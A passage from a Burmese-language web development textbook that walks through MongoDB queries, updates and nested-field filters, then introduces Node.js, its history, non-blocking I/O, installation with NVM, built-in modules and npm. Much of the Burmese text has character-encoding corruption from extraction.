 travel> db.records.find({ from: "Yangon" })

ဒါဆိုရင် from: Yangon တန်oုိးနဲ့ ကိုက်ညီတဲ့ Data ကြေတွကိုပဲ gပန်ရမှာပါ။ Filter ကို တစ်ခုထက်ပုိကြေပး
လုိလ့ည်း ရပါတယ်။ ဥပမာ -

 travel> db.records.find({ from: "Yangon", to: "Bago" })
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ဒါဆိုရင် from: Yangon နဲ့ to: Bago ဆိုတဲ့ တန်oုိးနှစ်ခုလံုးနဲက့ိုက်တဲ့ Data ကြေတွကိုပဲ gပန်ကြေပးမှာပါ။
AND Filter လုိ ့ကြေgပာလုိရ့ပါတယ်။ OR Filter ပုံစံလုိချင်ရင်ကြေတာ့ ကြေရးရတာ နည်းနည်းရှုပ်သွားပါတယ်။ ဒီလုိ
ပါ။

travel> db.records.find({ 
    $or: [
        { from:"Yangon" }, 
        { to: "Yangon" }
    ]
})

$or Operator အတွက် Filter လုပ်ချင်တဲ့တန်oုိးကြေတွ တန်းစီကြေပးလုိက်ရတာပါ။ Greater Than တို့  Less
Than တိုလုိ့ Filter ကြေတွလည်းရပါတယ်။ ဒီလုိပံုစံကြေရးရပါတယ်။

travel> db.products.find({ price: { $gt: 9 } })

products Collection  မရှိလုိ့  လက်ကြေတွ့ကြေရးစမ်းoုိ့  မဟုတ်ပါyူး။ နမူနာ gပတာပါ။  $gt အစား  $lt,
$gte, $lte, $not စသgoင့် သုံးလုိရ့ပါတယ်။ စဉ်းစားeကည့်ရင် API ဒီဇုိင်းအကြေeကာင်း ကြေgပာခဲ့တံုးက
နဲ ့သကြေyာသyာဝကြေတွ ခပ်ဆင်ဆင်ပဲဆိုတာကို ကြေတွ့ရနိုင်တယ်။

Sorting စီချင်ရင်ကြေတာ့ ဒီလုိစီရပါတယ်။

travel> db.records.find().sort({ name: 1 })

name: 1 လုိ့ကြေgပာလုိက်တာဟာ  name နဲစ့ီမယ်လုိ့  ကြေgပာလုိက်တာပါ။ စမ်းeကည့်လုိရ့ပါတယ်။  Sorting
ကို Field တစ်ခုထက်လည်း ပုိစီလုိရ့ပါတယ်။

travel> db.records.find().sort({ from: 1, name: 1 })

ဒါဆိုရင်  from နဲ့အရင်စီပြပီးကြေနာက်  name နဲ့  ထပ်စီကြေပးမှာပါ။ ကြေgပာင်းgပန်  Descending  ပုံစံ  စီချင်ရင်  1
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အစား -1 လုိ့ ကြေပးလုိရ့ပါတယ်။

Paging လုပ်ကြေဆာင်ချက်အတွက် skip() နဲ့ limit() ကို သုံးနိုင်ပါတယ်။

travel> db.records.find().limit(3)

ဒါဆိုရင် limit(3) လုိ့ကြေgပာထားလုိ ့Data (၃) ကြေeကာင်းပဲ ယူကြေပးမှာပါ။

travel> db.records.find().skip(1).limit(3)

ဒါဆိုရင်ကြေတာ့ skip(1) လုိ့ကြေgပာထားလုိ ့(၁) ကြေeကာင်းကြေကျာ်လုိက်ပြပီးမှ (၃) ကြေeကာင်းယူကြေပးသွားမှာပါ။

ပြပီးကြေတာ့ SQL Query ကြေတွမှာ SELECT name, nrc FROM records ဆိုပြပီး ကိုယ်လုိချင်တဲ့ Fields
ကိုပဲ ကြေရွးယူလုိ့ ရသလုိပဲ MongoDB မှာလည်း ရပါတယ်။ find() ရဲ့ ဒုတိယ Parameter မှာ လုိချင်တဲ့
Fields စာရင်းကြေပးပြပီးကြေတာ့ ဒီလုိယူရပါတယ်။

travel> db.records.find({}, {name: 1, nrc: 1})

ဒါဆိုရင် name နဲ့  nrc နှစ်ခုကိုပဲ ယူလုိက်တာပါ။ ကျနတ်ဲ့  from ကြေတွ to ကြေတွ with ကြေတွ မပါကြေတာ့ပါ
yူး။ find() အတွက် ပထမ Parameter က Filter မုိလုိ့့ မကြေပးချင်တဲ့အတွက် အလွတ်ပဲ ကြေပးခဲ့တာကို
လည်း သတိgပုပါ။
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ဆက်ပြပီးကြေတာ့ Update ကိုeကည့်ပါမယ်။ 

travel> db.records.updateMany(
    { to: "Bago" },
    { $set: { to: "Bagan" } }
)

{
  acknowledged: true,
  insertedId: null,
  matchedCount: 1,
  modifiedCount: 1,
  upsertedCount: 0
}

နမူနာမှာ to: Bago က Filter ပါ။ Data ကိုကြေတာ့ $set Operator နဲ ့ကြေပးထားပါတယ်။ to ကို Bagan
လုိ့  gပင်ချင်တာပါ။  ဒါကြေeကာင့်ရှိသမျှ  to:  Bago ကြေတွ  အကုန်  to:  Bagan goစ်သွားမှာပါ။
updateMany() ကို  သုံးထားလုိ့  Filter  နဲက့ိုက်ညီသမျှ အားလံုးကို  gပင်သွားမှာပါ။ တစ်ခုထဲကို  gပင်ကြေစ
ချင်ရင် updateOne() ကို သုံးနိုင်ပါတယ်။

Data  ကြေတွကိုသိမ်းတဲ့အခါ  JSON Structure  အတိုင်း သိမ်းရတာgoစ်လုိ့  oဲွ့စည်းပံုက ဒီလုိအဆင့်ဆင့် goစ်
မယ်ဆိုရင်လည်း goစ်လုိရ့ပါတယ်။ 

{
name: "Bobo", 
nrc: "A0131",
trip: {

from: "Yangon", 
to: "Mandalay", 
vehicle: {

type: "car",
license: "5B9876" 

}
}

}

ဒီလုိoဲွ့စည်းပံုမှာ  အဆင့်ဆင့်ပါလာပြပီဆိုရင်  Filter  ကြေတွလုပ်တဲ့အခါ  yယ်လုိလုပ်ရလဲ  ဆိုတာကြေလး  goည့်
မှတ်ထားကြေပးပါ။
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travel> db.records.find({ "trip.vehicle.type": "car" })

trip ထဲက vehicle ထဲက type တန်oုိးနဲ့  Filter လုပ်ချင်တာgoစ်လုိ့  trip.vehicle.type ဆို
ပြပီးကြေတာ့ Dot ခံပြပီး ကြေရွးကြေပးရတာပါ။

ဒီကြေလာက်ဆိုရင်  MongoDB  မှာ  Data  ကြေတွ  Create, Read, Update, Delete  လုပ်ငန်းကြေတွ စံုကြေအာင်လုပ်
တတ်သွားပါပြပီ။  MongoDB  က လက်ကြေတွ့ကြေလ့လာအသုံးgပုရတာ လွယ်ပါတယ်။ လူသန်းကြေပါင်းများစွာက
အသုံးgပုပြပီး အချက်အလက် သန်းကြေပါင်းများစွာကို  သိမ်းဆည်းရတဲ့  ပကြေရာင်္ဂျက်မျ ို းကြေတွနဲ့  သင့်ကြေတာ်ကြေအာင်
oန်တီးထားတဲ့  နည်းပညာမုိလုိ့့  တစ်ကယ်တမ်း  ခက်မှာက  အ့ဲဒီကြေလာက်  Data  ကြေတွသိမ်းနိုင်တဲ့  Server
Architecture  ကို  တည်ကြေဆာက်ပုံ  တည်ကြေဆာက်နည်းကြေတွက ခက်တာပါ။ ကြေလာကြေလာဆယ် အ့ဲဒီကြေလာက်
အဆင့် မသွားသင့်ကြေသးပါyူး။ အခုလုိ အကြေgခခံအသုံးgပုပုံကြေလာက် သိတယ်ဆိုရင်ပဲ စတင်အသံုးgပုလုိ့ ရကြေန
ပါပြပီ။  စိတ်ဝင်စားလုိ့  အခုကတည်းက  ကြေလ့လာချင်တယ်ဆိုရင်လည်း  Rockstar  Developer စာအုပ်မှာ
ကြေလ့လာeကည့်နိုင်ပါတယ်။ PDF Ebook ကို အခမ့ဲ ကြေဒါင်းလုိရ့ပါတယ်။

- https://eimaung.com/rockstar-developer/

https://eimaung.com/rockstar-developer/
https://eimaung.com/rockstar-developer
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အခန်း (၇၂) – NodeJS

နမူနာပကြေရာင်္ဂျက်ကို  ExpressJS  အသုံးgပုပြပီး  တည်ကြေဆာက်မှာပါ။  ဟိုအရင်ကကြေတာ့  JavaScript  နည်း
ပညာကြေတွကို  သူ့ထက်ပုိထင်ရှားတဲ့  အgခားအမည်တူနည်းပညာကြေတွ ရှိကြေနရင် ကွဲgပားကြေစoုိအ့တွက် ကြေနာက်
ကကြေန NodeJS, ExpressJS  စသgoင့်  JS  ကြေလးကြေတွထည့်ပြပီး ကြေခါ်eကကြေလ့ရှိပါတယ်။ အခုကြေတာ့ သူတိုက့ ပုိ
ထင်ရှားသွားeကပြပီ။  ကြေနာက်က  JS  မပါလည်း  နာမည်eကားယုံနဲ့  သိကုန်eကပြပီမုိ့လုိ့  မထည့်eကကြေတာ့ပါyူး။
ကြေလာကြေလာဆယ်  အစဉ်အလာမပျက်  ထည်ပြပီးသုံးနှုန်းကြေရးသားကြေနကြေပမယ့်  ကြေနာက်ပုိင်းမှာ  မထည့်ကြေတာ့ပါ
yူး။ Node, Express စသgoင့် အမည်သက်သက်ပဲ ဆက်သံုးပါကြေတာ့မယ်။

API ပကြေရာင်္ဂျက် တည်ကြေဆာက်oုိအ့တွက် တစ်ကယ်သံုးချင်တာက Node ကို တိုက်ရုိက်သံုးချင်တာ မဟုတ်
ပါyူး။  Express Framework ကိုသုံးပြပီး oန်တီးချင်တာပါ။  Express က Node ကိုအသုံးgပုပြပီး အလုပ်လုပ်
တဲ့ Framework မုိလုိ့့သာ Node အကြေeကာင်းကို ထည့်ကြေgပာရတဲ့သကြေyာပါ။ ကြေရှ့ပုိင်းမှာလည်း Node နဲ့ NPM
အကြေeကာင်းကို  ထည့်သွင်းကြေoာ်gပခဲ့ပြပီး  goစ်ပါတယ်။ အခု  ဒီကြေနရာမှာလည်း လုိအပ်တာကြေလးကြေတွ  ထပ်goည့်
ကြေgပာချင်ပါကြေသးတယ်။

What
JavaScript  ဟာ မူလက Client-side Programming Language တစ်ခုသာ goစ်ပါတယ်။ အရင်ကဆိုရင်
JavaScript ကုဒ်ကြေတွက Web Browser ထဲမှာပဲ အလုပ်လုပ်ပါတယ်။ တgခားကြေနရာမှာ အလုပ်မလုပ်ပါyူး။
Web Browser ကြေတွမှာ အစိတ်အပုိင်း (၃) ပုိင်း ကြေပါင်းစပ်ပါဝင်တယ်လုိ့ ဆိုနိုင်ပါတယ်။ Rendering Engine,
JavaScript Engine နဲ့ UI တို့goစ်ပါတယ်။ 
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Rendering Engine  ရဲ့  တာဝန်ကကြေတာ့  HTML, CSS  ကြေတွကြေပါ်မှာ အကြေgခခံပြပီး သင့်ကြေတာ်တဲ့  အသွင်အgပင်
ကြေoာ်gပကြေပးoုိ့ goစ်ပါတယ်။ HTML Element ကြေတွကို ကြေoာ်gပကြေပးကြေနတာ Rendering Engine ပါ။ CSS Style
သတ်မှတ်ချက်ကြေတွအတိုင်း  ကြေoာ်gပကြေပးကြေနတာ  Rendering  Engine  ပါ။  ထင်ရှားတဲ့  Rendering  Engine
ကြေတွ ရှိeကပါတယ်။  Apple Safari Browser  က Webkit  လုိ့ကြေခါ်တဲ့  Rendering Engine  ကို သုံးပါတယ်။
Microsoft Internet Explorer ကကြေတာ့ Trident လုိ့ကြေခါ်တဲ့  Engine ကို သံုးပါတယ်။ MSHTML လုိလ့ည်း
ကြေခါ်ပါတယ်။ Mozilla Firefox က Gecko ကိုသုံးပြပီး၊ Opera Browser ကကြေတာ့ Presto ကိုသုံးပါတယ်။

အ့ဲဒီထဲမှာ  Webkit  က အထင်ရှားဆံုးပါ။  eကားoူးeကပါလိမ့်မယ်။  သူ့အရင်က  KHTML  လုိ့ကြေခါ်တဲ့  Open
Source Rendering Engine တစ်မျ ို း ရှိပါတယ်။ Konqueror လုိ့ကြေခါ်တဲ့ လူသိနည်းတဲ့  Web Browser မှာ
သုံးoုိထွ့င်ထားတာပါ။ အ့ဲဒီ  KHTML ကိုယူပြပီးကြေတာ့ Apple က Webkit ဆိုတဲ့အမည်နဲ့  Rendering Engine
ကို ထပ်ဆင့်တီထွင်ထားတာပါ။ ကြေနာက်ကျကြေတာ့၊ Webkit ကို ယူသံုးပြပီး Google က Chromium Browser
Project ကို ထွင်လုိက်ပါတယ်။

Chromium နဲ့  Chrome ဆိုတာ နာမည်လည်းဆင်တယ်၊ နည်းပညာလည်းတူတယ်။ ဒါကြေပမယ့် နည်းနည်း
ကွဲပါတယ်။  Chromium  ကို  Source  Code  လုိ့  gမင်နိုင်ပါတယ်။  သူ့ကို  Compile  လုပ်လုိက်ကြေတာ့
Chromium Browser  goစ်လာပါတယ်။ အ့ဲဒီ  Source Code  ကိုပဲ  Google  က သူ့  Configuration  နဲ့သူ
Compile  လုပ်ယူလုိက်တဲ့အခါ  Google Chrome Browser  goစ်လာတာပါ။  Source Code  ကတူတယ်။
Compile  လုပ်တဲ့သူ  မတူyူးလုိ့  ကြေgပာလုိရ့ပါတယ်။ ဒါကြေeကာင့်  Apple  ရဲ့  Safari  Browser,  Chromium
Browser နဲ့ Google Chrome တိုဟ့ာ သုံးထားတဲ့ Rendering Engine တူeကတယ်လုိ ့ကြေgပာလုိရ့ပါတယ်။

ကြေနာက်ကြေတာ့ Google က Webkit ကို Blink ဆိုတဲ့အမည်နဲ့ သီးgခားခွဲပြပီး ထပ်ထွင်လုိက်ပါတယ်။ ဒါကြေeကာင့်
KHTML   Webkit   Blink  → → စသgoင့်  အဆင့်ဆင့်goစ်ကြေပါ်လာလုိ့  အမျ ို းအစားဆင်တူကြေတွလုိ့  ဆိုနိုင်ပါ
တယ်။ ကကြေနက့ြေခတ်မှာ  Webkit/Blink  ဟာ အကျယ်gပန့်ဆံုး သုံးကြေနeကတဲ့  Rendering Engine  ပါ။  Apple
Safara, Chromium Browser, Google Chrome, Android Browser, iOS Browser စသည်goင့်၊ အားလုံး
က  Webkit/Blink  ကို  သုံးထားeကတာပါ။  ဒါတင်မကကြေသးပါyူး၊  အခုဆိုရင်  Opera  Browser,  Brave
Browser နဲ့ Microsoft Edge Browser တိုက့လည်း Chromium ကိုသုံးထားeကတာပါ။ 

တစ်ကယ်ကြေတာ့  စာအုပ်ထူလွန်းလုိ့  စာမျက်နှာကြေချွတာoုိ့လုိတဲ့အကြေgခအကြေနမှာ  ဒီလုိအကြေeကာင်းကြေတွကို  ရှည်



PWD 2023 – အခန်း (၇၂) – NodeJS 881

ရှည်ကြေဝးကြေဝး ကြေgပာမကြေနချင်ပါyူး။ လက်ကြေတွ့လုိအပ်မှာကိုပဲ တန်းကြေgပာလုိက်ချင်ပါတယ်။ ဒါကြေပမယ့် အခုလုိ
ကြေနာက်ခံgoစ်စဉ်ကြေလးကြေတွ  သိထားရင်  ပုိပြပီးကြေတာ့များ  စိတ်ဝင်စားစရာ  goစ်သွားမလားလုိ့  ထည့်ကြေgပာgပကြေန
တာပါ။

ကြေစာကြေစာက Browser မှာ Rendering Engine, JavaScript Engine နဲ့ UI တို့ ကြေပါင်းစပ်ပါဝင်တယ်လုိ့ ကြေgပာ
ခဲ့ပါတယ်။ UI ကကြေတာ့ Browser Menu ကြေတ၊ွ Toolbar ကြေတ၊ွ URL Bar, Bookmark, History, Download
စတဲ့  User  ကြေတွ gမင်ကြေတွ့ထိပြပီး အသုံးgပုတဲ့  အရာကြေတွပါ။  JavaScript Engine  ရဲ့တာဝန်ကကြေတာ့ ရှင်းပါ
တယ်။  JavaScript Code  ကြေတွကို  Run ကြေပးgခင်းပဲ goစ်ပါတယ်။  Google  က Chromium ကို ထွင်တဲ့အခါ
Rendering Engine အကြေနနဲ့ Webkit ကို ယူသံုးခဲ့ကြေပမယ့် JavaScript Engine ကိုကြေတာ့ သူyာသာ အသစ်
ထွင်ပြပီး ထည့်ခဲ့ပါတယ်။ အ့ဲဒီ Engine ကို V8 လုိပ့ါတယ်။ တgခား JavaScript Engine ကြေတွနဲယှ့ဉ်ရင် သိသိ
သာသာ ပုိgမန်တဲ့ Engine တစ်ခရုယ်လုိ့ ထင်ရှားပါတယ်။

V8 JavaScript Engine  ကို  Chromium မှာ သုံးထားကြေပမယ့် သီးgခားပကြေရာင်္ဂျက်တစ်ခုပါ။  Open Source
နည်းပညာတစ်ခုပါပဲ။  အ့ဲဒီ    V8    ကို  သုံးပြပီးကြေတာ့    Ryan Dahl    လုိ့ကြေခါ်တဲ့  ကြေဆာ့o်ဝဲအင်င်္ဂျင်နီယာတစ်ဦးက  
Node    ကို  တီထွင်ခဲ့တာပါ  ။ အ့ဲဒီအချနိ်ကစပြပီးကြေတာ့  JavaScript  ရဲ့အခန်းကဏ္ဍ အကြကီးအကျယ်ကြေgပာင်းလဲ
သွားခဲ့ပါကြေတာ့တယ်။ အရင်က  JavaScript  ဆိုတာ  Browser  ထဲမှာပဲ  Run  တဲ့  နည်းပညာပါ။ အခုကြေတာ့
Browser ရဲ့ gပင်ပမှာ Node ကိုအသုံးgပုပြပီးကြေတာ့ JavaScript Code ကြေတွကို  Run လုိ့ ရသွားပါပြပီ။ ဒီကြေတာ့
JavaScript ဟာလည်း Client-side Language ဆိုတဲ့အဆင့်ကကြေနကြေကျာ်ပြပီး၊ ကြကိုက်တဲ့ကြေနရာမှာသုံးလုိရ့တဲ့
Language တစ်ခုရယ်လုိ့ goစ်သွားပါကြေတာ့တယ်။ ကွန်ပျူတာမှာ Node ရှိကြေနရင် JavaScript ကုဒ်ကြေတွ Run
လုိရ့ကြေနပြပီကြေလ။  JavaScript  နဲ့  Command Line  ပရုိင်္ဂရမ်ကြေတွ ကြေရးပြပီး  Node  နဲ့  Run  လုိရ့မယ်။  Server-
side Code  ကြေတကွြေရးပြပီး  Node  နဲ့  Run လုိရ့မယ်။  Desktop Solution  ကြေတကွြေရးပြပီး  Node  နဲ့  Run  မယ်။ စ
သgoင့် JavaScript က စွယ်စံုသုံး Language တစ်ခု goစ်သွားပါကြေတာ့တယ်။

ဒါကြေeကာင့် Node ဆိုတာyာလဲလုိ့ ကြေမးလာခဲ့ရင် မှတ်ထားပါ။ Node   ဆိုတာ   JavaScript Run-Time   နည်း  
ပညာgoစ်ပါတယ်။ Node ဆိုတာ JavaScript  မဟုတ်ပါyူး။  Node ဆိုတာ JavaScript  ကုဒ်ကြေတွကို  Run
ကြေပးနိုင်တဲ့ နည်းပညာပါ။ ပံုမှန်  JavaScript ကုဒ်ကြေတွအgပင် အသင့်သံုးလုိရ့တဲ့  Standard Module ကြေတွကို
လည်း ကြေရးပြပီး goည့်တင်းကြေပးထားလုိ့ မူလ JavaScript ထက်ကြေတာ့ သူကနည်းနည်းပုိပြပီး စွမ်းပါတယ်။
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Node  ကို  စထွင်ခဲ့တဲ့  Ryan Dahl  က အခုကြေတာ့  Node  ကို  ဦးကြေဆာင်ကြေနသူ မဟုတက်ြေတာ့ပါyူး။ လက်ရှိ
Node  ကို  OpenJS  Foundation  လုိ့ကြေခါ်တဲ့  အoဲွ့အစည်းက  စီမံကြေနပါတယ်။  Ryan  Dahl  ကကြေတာ့
အလားတူ ကြေနာက်ထပ်နည်းပညာတစ်ခုကို မeကာခင်ကမှ ထပ်ထွင်ထားပါတယ်။ Deno လုိ့ကြေခါ်ပါတယ်။ ဒီ
နည်းပညာ yယ်ကြေလာက်ထိ goစ်ကြေgမာက်လာမလဲဆိုတာကြေတာ့ ကြေစာင့်eကည့်eကရဦးမှာပါ။

Why
Node  ရဲ့ ထူးgခားချက်ကကြေတာ့  Non-blocking I/O လုိ့ကြေခါ်တဲ့ နည်းစနစ်ကို အသံုးgပုgခင်းပါ။  JavaScript
ဟာ  Interpreted  Language  တစ်ခုgoစ်လုိ့  Language  ချည်းသက်သက်အရဆိုရင်  သိပ်gမန်လှတဲ့
Language  ကြေတာ့ မဟုတ်ပါyူး။ တgခားသူ့ထက်ပုိgမန်တဲ့  Language  ကြေတွရှိပါတယ်။ ဒါကြေပမယ့်  Node  ရဲ့
Non-blocking I/O  သကြေyာသyာဝကြေeကာင့်  Node  နဲ့ကြေရးထားတဲ့  ပရုိင်္ဂရမ်ကြေတွဟာ သာမာန်ထက် ပုိgမန်
ကြေလ့ရှိeကပါတယ်။

ကွန်ပျူတာရဲ့  Processor  ဟာ တစ်စက္ကန့်မှာ  Instruction  ကြေပါင်း သန်းနဲခ့ျပီြပီး အလုပ်လုပ်ကြေပးနိုင်ပါတယ်။
ဒါကြေပမယ့် Hard Disk ကြေပါ်က အချက်အလက်ကြေတွ Read/Write လုပ်ယူတာလုိ အလုပ်မျ ို းက ဒီကြေလာက် မ
gမန်နိုင်ပါyူး။  အင်တာနက်  အဆက်အသွယ်ကိုသံုးပြပီး  အချက်အလက်ကြေတွ  ယူရမယ်ဆိုရင်လည်း၊
yယ်ကြေလာက်gမန်တဲ့  အင်တာနက်ကြကီး goစ်ကြေနပါကြေစ၊ ဒီအသွားအgပန်က  Processor  ရဲ့  စွမ်းကြေဆာင်ရည်ကို
yယ်လုိမှ အမီှလုိက်နိုင်မှာ မဟုတ်ပါyူး။ အတတူူပါပဲ၊ ကင်မရာ၊  Fingerprint Sensor  စသgoင့်  Input /
Output  Device  ကြေတဟွာ၊  Processor  ရဲ့  အလုပ်လုပ်နိုင်စွမ်းနဲ့  နိှုင်းယှဉ်eကည့်ရင်  ကြေတာ်ကြေတာ် ကြေနှးeကပါ
တယ်။ ရုိးရုိးပရုိင်္ဂရမ်ကြေတွမှာ Process က gမန်ချင်ကြေပမယ့် gမန်လုိမ့ရyဲ I/O ကို gပန်ကြေစာင့်ကြေနရတာကြေတွ ရှိeက
ပါတယ်။ Node ကကြေတာ့ Asynchronous ကြေရးဟန်နဲအ့တူ Process က I/O ကို ကြေစာင့်စရာကြေအာင် တီထွင်
ထားပါတယ်။ ဒီသကြေyာကြေပါ်လွင်ကြေစoုိ ့ဥပမာကုဒ်ရုိးရုိးကြေလးတစ်ခုကြေလာက် ကြေရးgပပါမယ်။

 JavaScript 

const fs = require("fs");

console.log("Some processes...");

fs.readFile("data.txt", "utf-8", function(err, data) {
console.log(data);

});

console.log("Some more processes...");
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ဒီကုဒ်မှာ ကြေရးထားတဲ့ အစီအစဉ်အရ Some processes ဆိုတဲ့စာတစ်ကြေeကာင်းကို အရင်ရုိက်ထုတ်မယ်။ ပြပီး
ရင် data.txt ကို oတ်ပြပီး အထဲက Content ကို ရုိက်ထုတ်မယ်။ ပြပီးရင် Some more processes ဆိုတဲ့
စာတစ်ကြေeကာင်းကို ဆက်ပြပီးရုိက်ထုတ်မယ်။ ဒီလုိကြေရးထားတာပါ။ ဒါကြေပမယ့်  Node  ရဲ့  Non-blocking I/O
သကြေyာသyာဝက  data.txt ကို  oတ်လုိ့ပြပီးကြေအာင်  မကြေစာင့်yဲ  လုပ်စရာရှိတာ ဆက်လုပ်သွားမှာမုိ့လုိ့
Run eကည့်ရင် ရလဒ်က ဒီလုိရမှာပါ။

Some processes…
Some more processes…
>> data entries…

oုိင်ကိုoတ်ယူတဲ့  fs.readFile() အတွက် Callback Function ကိုကြေပးပြပီး ကြေရးထားတဲ့အတွက် oုိင်ကို
oတ်ယူတဲ့ I/O ကို ကြေစာင့်စရာမလုိyဲ ကျန်တဲ့ Process ကြေတွက ဆက်အလုပ်လုပ်သွားတာပါ။ oုိင်ကိုoတ်လုိ့
ပြပီးကြေတာ့မှသာ ကြေပးလုိက်တဲ့ Callback Function က အလုပ်လုပ်gခင်း goစ်ပါတယ်။ Non-blocking I/O ဆို
တာ  ဒါမျ ို းကိုဆိုလုိတာပါ။  ဒါကြေeကာင့်  တစ်ချ ို ့  နည်းပညာလုပ်ငန်းကြကီးကြေတွကအစ  စွမ်းကြေဆာင်ရည်gမင့်
Service ကြေတွ oန်တီးoုိအ့တွက် Node ကို ကြေရွးချယ် အသုံးgပုကြေနeကတာပါ။

Install Node
Node Installer  ကို  nodejs.org ကကြေန  Download  ရယူနိုင်ပါတယ်။ သူ့ကကြေတာ့ သိပ်ဆန်းဆန်းgပားgပား
ကြေတွမလုိyဲ အလွယ်တစ်ကူ  Install  လုပ်ပြပီး သုံးလုိရ့ကြေလ့ရှိပါတယ်။ အခုဒီစာကိုကြေရးကြေနချနိ်မှာ ကြေနာက်ဆံုး
ထွက်ရှိထားတဲ့  Version ကကြေတာ့ 19.3.0  ပါ။  Feature  သစ်ကြေတွစမ်းချင်ရင် ကြေနာက်ဆံုး  Version ကို သုံးရ
ပြပီး၊ လက်ကြေတွ့သုံးoုိ့ ရည်ရွယ်ရင်  LTS (Long-Term Support) Version  ကို သုံးရပါတယ်။ အခုအပုိင်းမှာ
ကြေoာ်gပမယ့်ကုဒ်ကကြေတာ့ နမူနာသက်သက်မုိ့ yာကိုပဲကြေရွးကြေရွး ကိစ္စမရှိပါyူး။

Install လုပ်လုိက်ရင် ပါဝင်လာမယ့် နည်းပညာက (၂) ခုပါ။ node နဲ့ npm goစ်ပါတယ်။ JavaScript ကုဒ်
ကြေတွကို  node နဲ့  Run  ရမှာgoစ်ပြပီး  npm ကကြေတာ့  Package  Manager  ပါ။  npm ကိုသုံးပြပီး  Express
အပါအဝင် ကိုယ်သုံးချင်တဲ့ Package ကြေတွကို ရယူအသုံးgပုနိုင်ပါတယ်။

Ubuntu Linux  လုိ  Operation System သုံးကြေနတဲ့  သူကြေတွကကြေတာ့  Node  ကို  ကိုယ့်yာသာ  Download

https://nodejs.org/en/
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လုပ်ပြပီး အသံုးgပုမယ့်အစား  Node Version Manager (NVM)  လုိ့ကြေခါ်တဲ့  နည်းပညာတစ်ခုကို  တစ်ဆင့်ခံ
အသုံးgပုသင့်ပါတယ်။  Node  ပကြေရာင်္ဂျက်ကြေတွမှာ  Version  က ရံoန်ရံခါ ဒုက္ခကြေပးတတ်ပါတယ်။ တစ်ချ ို ့  ပ
ကြေရာင်္ဂျကက်ြေတွ  Run  oုိအ့တွက်  Node 14  နဲမှ့ရမယ်၊ တစ်ချ ို ့  ပကြေရာင်္ဂျက်ကြေတွအတွက်  Node 16  နဲ့မှရမယ်
စသည်goင့်  Version  အတိအကျလုိအပ်ချက်ရှိလာတဲ့အခါ  ကိုယ့်yာသာ  Install  လုပ်ထားရင်  လုိချင်တဲ့
Version အတိအကျကို ကြေgပာင်းရခက်ပါတယ်။ Node Version Manager ကကြေတာ့ အသုံးgပုလုိတဲ့ Version
ကို အခုလုိ အလွယ်တစ်ကူ ထည့်သွင်းgခင်း၊ ကြေgပာင်းလဲသတ်မှတ် အသံုးgပုgခင်းကြေတွ gပုလုိက်နိုင်ပါတယ်။

nvm install 18
nvm use 18

Install gပုလုပ်ပုံကိုကြေတာ့ NVM ရဲ့ Documentation မှာeကည့်oုိ ့လုိအပ်ပါတယ်။

– https://github.com/nvm-sh/nvm

Node Modules
Node မှာ တစ်ခါထဲ အသင့်သံုးလုိရ့တဲ့ Module ကြေတွ ပါပါတယ်။ oုိင်ကြေတွ၊ oုိဒါကြေတွ စီမံနိုင်တဲ့ File System
Module, Web Server ကြေတွ Service ကြေတွ oန်တီးလုိရ့တဲ့ HTTP Module, Network Socket ပရုိင်္ဂရမ်ကြေတွ
oန်တီးလုိရ့တဲ့  Net Module စသgoင့် ပါသလုိ Crypto, OS, Path, Zlib, Stream, URL, Timers  စသgoင့်
အကြေထွကြေထွသုံး Module ကြေတွ အများကြကီး ပါပါတယ်။ အကြေပါ်မှာ Non-blocking I/O အကြေeကာင်း ကြေgပာတံုးက
ကြေပးခဲ့တဲ့ ကုဒ်နမူနာက File System Module  ကို သုံးထားတာပါ။ ဒီ  Module  ကြေတွအကြေeကာင်းကိကုြေတာ့ စံု
ကြေအာင်ထည့်မကြေgပာနိုင်ပါyူး။ အသုံးဝင်တဲ့  Build-in Module ကြေတရွှိတယ်၊ လုိအပ်ရင်သံုးလုိရ့တယ် ဆိုတာ
ကိုသာ မှတ်ထားကြေပးပါ။ JavaScript ကြေရးတတ်တယ်ဆိုရင် ဒီ Module ကြေတွ ယူသုံးရတာက မခက်လှပါyူး။
Node ရဲ့ Documentation မှာ ကြေလ့လာပြပီး သုံးသွားရင် အဆင်ကြေgပမှာပါ။

- https://nodejs.org/en/docs/

Module ကြေတွက ပံုစံ  (၃) မျ ို းgoစ်နိုင်တယ်လုိ့ ဆိုနိုင်ပါတယ်။ တစ်မျ ို းက Node ရဲ့  Build-in Module  ကြေတွ
ပါ။  ကြေနာက်တစ်မျ ို းက  JavaScript  အခန်းမှာ  ကြေoာ်gပခဲ့သလုိ  ကိုယ်ပုိင်oန်တီးထားတဲ့  Module  ကြေတွပါ။

https://nodejs.org/en/docs/
https://github.com/nvm-sh/nvm


PWD 2023 – အခန်း (၇၂) – NodeJS 885

ကြေနာက်တစ်မျ ို းကကြေတာ့  npm ရဲ့  အကူအညီနဲ့  ရယူအသံုးgပုတဲ့  Module  ကြေတွပဲ  goစ်ပါတယ်။  Express
အပါအဝင်  JavaScript Package  ကြေပါင်းကြေgမာက်များစွာ ရှိကြေနပါတယ်။ များလွန်းလုိ့ကြေတာင် ခက်ကြေနပါကြေသး
တယ်။ ကိုယ့်yာသာ ကြေရးစရာမလုိသကြေလာက်ပါပဲ။  လုပ်ကြေဆာင်ချက်တစ်ခု  လုိအပ်ရင် ရှာeကည့်လုိက်၊ ယူ
သုံးလုိရ့တဲ့  Third-party  Module  ရှိoုိ့  ကျမ်ိးကြေသတယ်လုိ့  ကြေgပာရမကြေလာက်ပါပဲ။  အ့ဲဒီလုိ  ယူသံုးလုိရ့တဲ့
Module ကြေတွကို npm ရဲ့ အကူအညီနဲ ့ယူရတာမုိလုိ့ ့npm အကြေeကာင်းကို ဆက်ကြေgပာပါမယ်။

NPM
npm နဲ့  လုပ်မယ့်အလုပ်  (၃)  ခုရှိတယ်လုိ့  မှတ်နိုင်ပါတယ်။  တစ်ခုက  ပကြေရာင်္ဂျက်  တည်ကြေဆာက်မှာပါ။
ကြေနာက်တစ်ခုကကြေတာ့ လုိအပ်တဲ့  Package  ကြေတွကို ရယူမှာgoစ်ပြပီး၊ ကြေနာက်ဆံုးတစ်ခုကကြေတာ့  Script  ကြေတွ
Run မှာ goစ်ပါတယ်။

npm ကို  သုံးပြပီး  ပကြေရာင်္ဂျက်တည်ကြေဆာက်oုိအ့တွက်  npm init ကို  သုံးနိုင်ပါတယ်။ သူက ပကြေရာင်္ဂျက်
အမည်၊  Version  နံပါတ်၊  ပကြေရာင်္ဂျက်  Description၊  လုိင်စင်၊  စတဲ့အချက်အလက်ကြေတွကို  လာကြေမးပါလိမ့်
